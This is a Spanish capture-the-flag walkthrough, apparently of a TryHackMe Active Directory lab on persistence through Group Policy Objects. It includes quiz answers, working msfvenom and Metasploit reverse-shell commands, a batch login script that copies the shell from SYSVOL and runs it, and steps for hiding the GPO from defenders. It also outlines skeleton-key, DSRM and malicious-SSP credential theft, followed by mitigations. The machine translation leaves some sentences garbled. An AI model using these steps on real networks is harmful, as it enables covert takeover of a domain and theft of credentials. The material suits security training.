1. Haga clic con el botón derecho en CONTROLADORES DE DOMINIO EMPRESARIALES y seleccione Editar configuración, eliminar, modificar seguridad .
2. Haga clic en todos los demás grupos (excepto Usuarios autenticados) y haga clic en Eliminar .

Debería quedarte con una delegación que se vea así:

Haz clic en Avanzado y elimina al Propietario creado de los permisos:

Por defecto, todos los usuarios autenticados deben tener permiso para leer la política. Esto es necesario porque, de lo contrario, la cuenta del usuario no podría leerla al autenticarse para aplicar las políticas de usuario. Si no contáramos con nuestro script de inicio de sesión, también podríamos eliminar este permiso para asegurarnos de que prácticamente nadie pudiera leer nuestra política.

Podríamos reemplazar Usuarios autenticados con Equipos de dominio para asegurarnos de que los equipos aún puedan leer y aplicar la política, pero evitar que cualquier usuario lea la política. Hagamos esto para probar, pero recuerde que esto puede resultar en que no reciba una devolución de llamada de shell al autenticarse, ya que el usuario no podrá leer la política. PowerShellscript, así que asegúrate de probar tu shell antes de realizar estos pasos. Después de esto, no hay vuelta atrás:

1. Haz clic en Agregar .
2. Escriba Equipos del dominio , haga clic en Comprobar nombres y, a continuación, en Aceptar .
3. Seleccione Permisos de lectura y haga clic en Aceptar .
4. Haz clic en Usuarios autenticados y luego en Eliminar .

Justo después de realizar estos pasos, recibirá un error que indica que ya no puede leer su propia política:

También puedes ver en la barra lateral que ya no podemos leer esta política:

Al realizar estos pasos, podemos asegurar que incluso con el nivel más alto de permisos, el equipo azul no podríamos eliminar nuestro GPO a menos que suplantaran la cuenta de máquina de un controlador de dominio. Esto hace que sea aún más difícil descubrirlo en primer lugar, e incluso si lo descubren, GPO, sería increíblemente difícil eliminarlo. Ya ni siquiera tenemos los permisos necesarios para interactuar con nuestra política, por lo que uno tendrá que permanecer allí hasta que se realice un reinicio de la red. Puede verificar que el GPO Todavía se aplica mediante conexión RDP a uno de los THMSERVERS.

Responda las siguientes preguntas

¿Qué complemento de MMC se puede utilizar para administrar las GPO?

Group Policy Management

¿Qué sub-GPO se utiliza para otorgar a los usuarios y grupos acceso a los grupos locales en los hosts a los que se aplica la GPO?

Restricted Groups

¿Qué pestaña se utiliza para modificar los permisos de seguridad que tienen los usuarios y grupos en la GPO?

Delegation

Paso a paso — Tarea 8: Persistencia con GPO

Las preguntas de teoría (están en el texto)

Pregunta	Respuesta
¿Complemento MMC para administrar GPO?	Group Policy Management
¿Sub-GPO para acceso a grupos locales?	Restricted Groups
¿Pestaña para modificar permisos de seguridad?	Delegation

Paso a paso práctico

1. Generar el shell en AttackBox:

bash

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <tuUsuario>_shell.exe

2. Crear el script batch:

bash

echo «copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<tuUsuario>_shell.exe C:\tmp\<tuUsuario>_shell.exe && timeout /t 20 && C:\tmp\<tuUsuario>_shell.exe» > <tuUsuario>_script.bat

3. Copiar ambos archivos al SYSVOL del DC:

bash

scp <tuUsuario>_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

scp <tuUsuario>_script.bat za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/

4. Iniciar el listener en MSF:

bash

msfconsole -q -x «use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit»

5. En THMWRK1 via RDP → abrir cmd con runas → MMC → crear GPO en OU Admins con tu script batch como Login Script → aplicar.

6. Ocultar la GPO eliminando permisos en la pestaña Delegation, dejando solo Domain Computers con lectura.

Tarea 9 Conclusión

Hay varias formas diferentes en las que podemos persistir en Algunas de estas técnicas perduran mejor que otras. Para garantizar que su persistencia no puede ser removido por el equipo azul, tendrás que pensar de forma creativa sobre tu persistencia Además, no debes esperar hasta que el dominio se vea completamente comprometido para implementarlo. persistencia. Después de cada ronda de movimiento lateral y escalada de privilegios ,persistencia debería desplegarse.

Adicional Técnicas de Persistencia

En esta red, cubrimos varias técnicas que se pueden utilizar para persistir en Esta no es de ninguna manera una lista exhaustiva. Aquí hay una lista de Técnicas de  persistencia que también merecen ser mencionadas:

• llaves maestras Con Mimikatz, podemos desplegar una clave maestra. Mimikatz creó una contraseña predeterminada que funciona para cualquier cuenta del dominio. Las contraseñas normales seguirán funcionando, lo que dificulta detectar este ataque. Esta contraseña predeterminada se puede usar para suplantar la identidad de cualquier cuenta del dominio.
• Modo de restauración del servicio de directorio (DSRM) – Los controladores de dominio tienen una cuenta de administrador de emergencia interna llamada cuenta DSRM. Esta contraseña se establece cuando el servidor se promueve a un DC y rara vez se cambia. Esta contraseña se utiliza en casos de emergencia para recuperar la DC Un atacante puede extraer esta contraseña utilizando Mimikatz y usarla para obtener acceso administrativo permanente a los controladores de dominio del entorno.
• Proveedor de soporte de seguridad malicioso (SSP) – Aprovechando la interfaz SSP, es posible agregar nuevos SSP. Podemos agregar mimilib de Mimikatz como un SSP que registraría todas las credenciales de los intentos de autenticación en un archivo. Podemos especificar una ubicación de red para el registro, lo que permitiría a mimilib enviarnos las credenciales cuando los usuarios se autentiquen en el host comprometido, proporcionando persistencia .
• Cuentas informáticas  – Las contraseñas de las cuentas de máquina normalmente se rotan cada 30 días. Sin embargo, podemos modificar la contraseña de una cuenta de máquina, lo que detendría la rotación automática. Junto con esto, podemos otorgar a la cuenta de máquina acceso administrativo a otras máquinas. Esto nos permitirá usar la cuenta de computadora como una cuenta normal, con el único signo de la persistencia siendo el hecho de que la cuenta tiene derechos administrativos sobre otros hosts, lo cual suele ser un comportamiento normal en para que pueda pasar desapercibido.

También debemos tener en cuenta que esta sala se centraba en persistencia técnicas en Varios locales persistencia Las técnicas también pueden permitir persistencia en los hosts. Si estos hosts están unidos al dominio, permitirá persistencia en también.

Medidas de mitigación

  persistencia puede ser un fastidio defenderse. En ciertos casos, la persistencia puede estar tan profundamente arraigado que se requiere una reconstrucción completa del dominio. Sin embargo, hay un par de cosas que podemos hacer para detectar implementado persistencia:

• Los eventos de inicio de sesión de cuenta anómalos son la alerta más común para persistencia. Siempre que las credenciales rompen el modelo de niveles, puede ser como resultado de persistencia.
• Para cada uno de los persistencia Con las técnicas mencionadas, se pueden escribir reglas de detección específicas, como por ejemplo, cuando cambia la contraseña de una cuenta de máquina, se actualizan las ACL de forma permisiva o se crean nuevas GPO.
• La mejor defensa contra persistencia es proteger los recursos privilegiados. Aunque el acceso privilegiado bajo se puede utilizar para implementar persistencia Las técnicas verdaderamente aterradoras solo están disponibles una vez que el atacante ha adquirido acceso privilegiado al dominio.

Esto concluye el módulo. Hemos aprendido los conceptos básicos de , cómo violar un entorno, enumerarlo, realizar explotación y arraigarnos profundamente en él con persistencia Este módulo es solo una introducción. Todavía hay mucho que aprender sobre Seguridad. ¡Es hora de desplegar tus alas y explorar por tu cuenta!

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!